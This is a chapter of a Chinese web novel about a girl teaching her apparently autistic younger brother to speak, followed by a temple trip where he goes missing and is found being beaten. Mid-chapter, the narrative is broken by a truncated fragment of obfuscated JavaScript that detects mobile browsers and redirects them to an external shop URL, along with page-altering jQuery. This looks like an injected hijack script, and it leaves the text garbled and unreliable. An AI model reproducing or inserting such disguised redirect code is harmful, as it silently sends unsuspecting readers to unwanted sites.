李晓言手忙脚乱爬起来,去找许铮画的那张自己的人像画,然后在那张人像上写了个大大的“姐”字,这是刘家豪告诉她的,一定要用各种办法让他明白这些语言指代的意义,而不仅仅是模仿语音。 “姐是指我,也是指她,懂吗?”李晓言指了指自己,又指了指画像上那个人,许铮看着她的脸,响亮的喊了一声:“姐!” 李晓言真想蒙着被子哭会儿,这声“姐”她教了快一百遍了,这孩子才终于学会了,而且他好像比以前更加理解了这个字所代表的含义。 李晓言还没来得及感叹完,她的屋门就被拍响了,李晓言打开门,她妈一脸震惊走了进来,盯着许铮。 “他刚喊了什么?” 李晓言笑着指自己:“我是谁?” 许铮很给面子的嚎了一声:“姐!” 李晓言妈吓的跳了一下:“哎呦,这孩子居然会叫姐了,我的天啦,真是菩萨显灵了,老天爷开眼了,你抽个空去山上拜一拜,给菩萨扔个钱去。” “为啥要给菩萨扔?”李晓言十分无语的斜看了她一眼,“明明是我教的。” “阿弥陀佛阿弥陀佛,别说这么不敬的话,我过年去许过愿,希望这孩子能进步,变成正常人,不要成为你的负担,没想到菩萨真的显灵了,你一定要去还愿不可,把许铮带着一起去。”李晓言妈说。 “……行吧。”李晓言答道。 可能是害怕空欢喜一场,李晓言妈试探性的指了指李晓言,对许铮问道:“她是谁?” 许铮:“……” 他的雷达接收器暂时还接收不到李晓言妈的讯息,完全没有反应,好像当她不存在一样。 李晓言妈的心又沉了下去。 “你别瞎操心,交给我就行,”李晓言此时信心大涨,她有点明白许铮的学习方式了,虽然小铮目前只对她一个人有反应,但她相信经过学习,小铮一定会越来越好,会对周边更多人有反应,“我弟弟我来负责。” 24. 第 24 章 此后两个月,李晓言一直过着超人一般的生活。 她每天早上五点多起,晚上一点多睡,作业全在课间和自习课上解决,除了上厕所以外,几乎没有别的课外活动,班级文艺活动和体育比赛,班长怎么劝都劝不动她参加。 在外人看来,李晓言简直过着疯魔又无趣的生活,但李晓言心里面却觉得对生活充满了干劲。 她每天放学都快步跑回家,然后一回家就教小铮学习那些常用词,许铮的学习速度是滚雪球式的越来越快,刚开始那几个称呼,李晓言几乎教了他一个月才让他完全记住,后来开始学习日常用品的名称时,许铮却以两三天一个的速度记住了,所以第二个月间,他就学会了十几个日常用品的名称。 他画的画也从意识流慢慢靠近写实流,只要没有生物课,李晓言就把生物书扔在家让他翻着玩,只是两个月的时间,许铮就无师自通的画下了生物书上所有的图形,而且越来越逼真。 刘家豪给他买了几只素描铅笔,又给他找了本图案说明较多的透视图画法大全,不过许铮翻了两页就没兴趣了,他还是不太能明白书上那些透视图的说明。 无奈之下,刘家豪只好自己上手学,李晓言毫无文艺细胞,典型理科生思维,刘家豪虽然也没多少天分,但比李晓言要全能的多,所以他只好每晚回来学一点,然后手把手教许铮画画。还好许铮并不十分排斥别人的触碰,他只是对别人的触碰无感,刘家豪手把手教了他两个月后,他对刘家豪也渐渐习惯了,还偶尔开个尊口,叫他一声:“哥哥。” 但是像上厕所、刷牙洗脸、用筷子吃饭这三样生活的根本,许铮还是力有不及,他已经在日复一日的行动中明白了这些行为是需要做的,但他就是没办法控制自己的身体去做这些行为。 当然,他也不苦恼,苦恼的是李晓言,李晓言在这点上几乎都快绝望了。 五一节那天,李晓言终于在她妈的念叨当中去山上烧香还愿,同行的还有刘家两兄妹和高凡,李晓言原本不打算带许铮去,但刘家豪觉得让他离开棚户区,接触一下人多的环境也许有好处,于是李晓言便大手牵小手,拉着许铮一块儿坐公交车去山上。 车上人很多,挤来挤去,许铮死死抓着李晓言的手指头,都把李晓言捏痛了。 高凡和刘家豪挡在许铮另一侧,不让其他人挤到许铮,许铮很少见他凡哥,但他知道每次见到他都会有好吃的,李晓言全家人的厨艺都一言难尽,经过惨烈的对比,许铮心里觉得他这个圆脸哥哥还是挺不错的。 看来要征服一个人的心,首先要征服他的胃,这道理适用于全人类。 高凡不见长高,和他与日俱增的厨艺想比,他的个头和李晓言差距又拉大了一些,两人小学毕业时还能堪堪平视对方,如今李晓言还得把视角往下耷拉40°,才能和高凡两两相望。 “你丫吃激素了吧,”高凡对此很有意见,车上也有不少同龄人,李晓言瘦了一些,脸上挂着疲色,和四周白白胖胖,满脸粉嫩的女学生形成鲜明对比,但就是这样,也有许多男生偷偷摸摸往她这边看,和边上的同伴扭捏的笑着。 “啧啧,真是旱的旱死,涝的涝死!”高凡自言自语道。 老天爷的不公平何止体现在贫富上啊,更体现在美丑上。 李晓言冷酷的看了他一眼,轻声说道:“一会儿你给菩萨扔点钱,让她把咱俩换换?我还宁愿我是你呢。” 她羡慕高凡是真的,家里的生意这几个月都没有任何盈利,只够活命,许铮的学习用品一直都是刘家豪买的,她一直希望能给小铮买套新衣服,平时在棚户区没啥大感觉,今天一出来,看见四周其他小孩都穿得光鲜亮丽的,而小铮还穿着李晓言小时候从别人那儿捡来的衣服,寒碜的没眼看。 她想要自食其力的愿景和她的现实状况之间一直在打架,时不时冒出来折磨李晓言一下,尤其是在今天这样公开处刑的日子。 高凡秒懂李晓言的心情,没说话,刘宁一直在李晓言边上挤着,十分缺心眼的问道:“李晓言,为啥你想变成高凡啊,你这么好看,成绩又好,你看大家都在看你。” 李晓言和高凡互看一眼,都没说话。 到了山下,络绎不绝的游客纷纷提着香烛上山,还有不少在山门口拍照的,这山不大,但有个年代悠久的古庙,庙被扩建了几次,面积也不小,所以香火一直很旺盛。 几人各自买了自家敬菩萨的香烛,便往山上走,一进门就是个几百米大长梯,许铮抬头看了看那长龙一样往上涌动的人群,忽然就停下了。 “怎么了?”李晓言蹲下来看着许铮,许铮把目光从那长龙转向李晓言,弱弱说了声,“姐……” “嗯,怎么了?”李晓言尽量柔和的问道,摸了摸他的头。 “是不是咱弟弟害怕?”高凡也瞅着许铮,但没看出他特别害怕的表情。 “姐……”许铮还不会说完整的话,只能重复着这一个字。 “要不把他背上去。”刘宁提出了一个建设性意见。 “不行,要让他自己上去,适应这个环境。”刘家豪说。 “你真是够心狠啊,他是孩子。”刘宁白了她哥一眼。 “他需要学习。”刘家豪平静应对。 “学习也要一步步来的,没学会走就要学会跑?!”刘宁毫不示弱的回道。 高凡捏了捏眉心:“两位,让晓言安静会儿吧,给咱弟弟一点时间,您二位要不先上去?” “不要!” “我不急,我要看看小铮的情况。” 于是,两兄妹暂时性偃旗息鼓,安安静静等待着李晓言劝小铮。 但李晓言没有多说什么,她冷着脸站起身,径直往上走,其他三人有点莫名其妙。 “什么个意思?”高凡喊道。 “你们别帮他。”李晓言就撂下这么一句话,就往上走了。 “我们别动,在小铮后面跟着。”最后还是刘家豪开口解答了李晓言的哑谜,他跟李晓言合作久了,有一种别人比不了的默契。 许铮在原地呆呆的看着李晓言往上走,在游龙般的人流当中,他的目光一直追寻着李晓言的后背往上移动,他没有见过这样的景象,他吓到了,他不想往上走,他要躲回自己的安全区域去…… 但是,这世上再大的恐惧都比不了他会失去她的恐惧。 大概一分多钟的僵立后,许铮拔开腿就往石梯上冲,他在第一个石梯上就被绊倒了,刘宁和高凡想要伸手捞他一把,被刘家豪一手一个给拦住了。 许铮没有哭,他原本就不太会哭,他立马站起来,手脚并用的往上爬,四周的人群这下才觉出这孩子有点不正常,他嘴里止不住的喊着:“姐……姐……”脸上却没有什么表情,一直到他冲上去抱住李晓言的双腿,四周人都把目光放在他二人身上。 李晓言原本就走的慢,她转过身,依旧是那副冷脸,她一只手就把许铮从地上提了起来,然后拍拍他的衣服上的灰,就停在原地等刘家豪他们赶上来。 四周人以为是两姐弟怄气,也就没再关注了。 等刘家豪他们上来一起往上走时,许铮再也没有出什么幺蛾子,他一直贴着李晓言往上走,生怕她再次消失在人群中。 这段时间李晓言很少对他冷脸,他都差点产生了他姐温柔可亲的幻觉,忘了他姐原本就是这样一个大冰川,还是全身带刺儿的大冰川。 不过这倒让许铮觉得心安起来。 庙里的大佛像被刷了一层新漆,挺鲜艳,李晓言不咸不淡敬了香火,就去扔还愿钱了。 她跟菩萨确实没有啥好说的,搜肠刮肚想了半天,才憋出一句话:“您老这新刷的色儿不错。” 高凡和刘家两兄妹倒是虔诚的拜完了,扔钱的地方原本是个浅浅的窑洞,庙里主持在窑洞里放了几尊小佛像,围了一圈很稀疏的栅栏,人们站在栅栏外往里面扔钱。 李晓言扔了四块钱,取个“四季发财”的意思。 看着钢镚纸币纷纷往窑洞里飞去,许铮的眼睛豁然就明亮了,好像漫天繁星都在他眼中游荡,亮的晶光璀璨。 这一点没人注意到。 人太多,李晓言遇到好些同学,她又刚好和刘家豪在一起,止不住又是被别人一番指指点点。 好不容易挤出了人群,李晓言和高凡要去厕所,刘家豪、刘宁就带着许铮站在原地等。 李晓言他们前脚刚走,刘家豪遇到他的小学老师,便把许铮交给刘宁,自己上前去和小学老师攀谈起来,小学老师一直把刘家豪视为她教学生涯的巅峰之作,一时间连菩萨都顾不上了,拉着刘家豪的手问长问短,差不多要把他学校每科老师都问全了。 而刘宁不想看她哥师徒情深的模样,便拉着许铮去边上卖小食儿的地方买东西吃。有油豆腐、荞麦饼、烤馒头、豆腐脑……山东大娘最疼她,给了她额外的零花钱,刘宁很想和许铮搞好关系,借此吸引他姐的注意,便想出了这个最古老也最有效的办法。 “小铮,你乖乖等着,我去排队,我每样都给你买一个好不好。”刘宁见许铮没反应,便摸摸他的头,转身去排队了。 等她终于满载而归挤出人群时,许铮却不见了。 刘宁四处打望,也没看见小铮的身影,她往刘家豪处看过去,刘家豪还在和他老师交谈,许铮也不在他身边。 刘宁手上的豆腐脑荞麦饼瞬间落到了地上,她慌了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445317|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哥,哥,”刘宁赶紧过去扯了扯她哥的衣裳,在她耳边悄声说,“糟了,小铮不见了,李晓言会不会凶我?” 刘家豪的脸一下就凝固了。 老师很识时务的笑着道别:“我去上香了,你们有事先去忙。” 刘家豪把刘宁拉到一边,声音依旧平静:“你先去山门口挡着……”还未说完,李晓言和高凡就回来了。 刘宁赶紧躲到刘家豪身后,埋着头不敢说话。 “你快去山门,”刘家豪拉着她的手臂,“要是被人抱走了,肯定往山门去。” “我操,怎么了?咱弟弟呢?”高凡一下就明白了,李晓言刹那间脸都灰了。 “好,我马上去。”刘宁往山门方向跑去,李晓言赶紧跟高凡说:“你也去,要是……她打不过。” “好!”高凡说完就奔走了。 李晓言四处打望一眼:“不确定在庙里还是在后山,我们一人去一边,我去后山。” “好。”刘家豪一说完,两人就分头行动,李晓言往后山方向极速狂奔,好在后山只有一条单行道,李晓言一路跑一路问,跑的满身是汗,后背的衣裳被汗水湿了个透,但比起这个,她更多的是焦急,小铮不可能无缘无故自己跑,他如果不是自己跑,那多半就是被人抱走了。 如果不跟许铮接触,光从外表上看,完全看不出这孩子有什么毛病,而且是个打眼一瞧就觉得很好看的孩子,这样的孩子是人贩子最爱的目标。 李晓言越想越急,她急的不仅仅是许铮也许是被人贩子抱走这件事,而是更多一步,人贩子要是发现这孩子有毛病,他会怎么做,他会不会把小铮扔了,如果那混蛋把小铮给扔在某个她找不到的犄角旮旯里,小铮会怎样…… 她不敢再往下想,只能焦急的狂奔着,原本一个多小时的路程被她二十分钟就跑完了,还加上一路问人的时间,但后山的游客都没见过她说的那个孩子,主要是孩子太多,而她也没有照片。 她跑了一圈后回到庙里找刘家豪,如果刘家豪这边也没发现,就只能报警了。 但她一到庙里,就听到边上的人说:“呀,那边打人啦,打得还挺凶的,也没人报个警啊。” “快去看看,为啥打起来啊。” “好像是个孩子偷了钱,他哥也挺凶的,态度特别横。” 李晓言立马朝他们指的方向跑去,一去就看见围了几层的人群,还听到里面传来刘家豪的骂声:“你个老杂种,这么大岁数打孩子,你不得好死,你全家都不得好死。” “你他妈再说一句,”一个粗暴低沉的男声吼道,“老子今天就打到你妈都不认识你。” “哎,算啦算啦,别打啦,人家一个小孩。” “他他妈都咒我死全家了,哎呦,我操,你个小兔崽子。” 接着就是几声闷响,拳头砸背的声音,李晓言很熟悉。 她拔开人群使劲挤进去,就看见一个男人握紧拳头故意凸出中指关节,往许铮后背一拳拳砸过去,他边上还有两个男人按住疯狂挣扎的刘家豪,刘家豪的衣服都被扯坏了,眼镜也落在了地上,被踩成了碎片。 李晓言二话没说,冲上去飞起一脚就踹到了那个男人后背上,男人往前踉跄了几步,一个没站稳,就摔了个狗吃屎。 “我/操/你大爷!”男人转过身看见李晓言,站起身飞扑过来,李晓言跑了二十分钟刚好做了热身,动作比平时迅捷的多,男人一扑过来,李晓言就抱住了他的脑袋,抬起大腿,使劲往自己膝盖上一磕。 “嘭”的一声响,男人脑袋发晕,晃晃悠悠摔倒在地上,在地上挣扎两下硬是没挣扎起来。 大家都没想到这个小姑娘出手这么猛,一时间瞠目结舌,没人说话。 另外两个见情况不对,赶紧放开刘家豪,去扶起那个男人。 “你个龟婆娘,你他妈到底是谁,你他妈打我做什么,老子惹到你了?” 李晓言看也不看他,去把许铮一把手抱起来,再去刘家豪边上把他拉了起来,还好刘家豪没有受伤,只是腰间有个脚印。 许铮就比较惨了,半边脸都肿了,衣服也被扯个稀烂,但他硬是没有吭一声,默默无言看着李晓言,然后把头埋进了李晓言的肩窝里。 他想哭,却不知道怎么哭,只能瑟瑟发抖,紧紧抓着李晓言的衣裳。 “原来她跟这小偷是一路的,怪不得,啧啧。”周围一片喧哗,李晓言瞪着他们,侧头问刘家豪:“怎么回事?” 刘家豪:“我也不是很清楚,我来的时候他们就在打小铮了,不过,不过小铮那时候手里确实拽着一把钱。” 李晓言倒抽了一口凉气,猛然间觉得整个人都不太好了。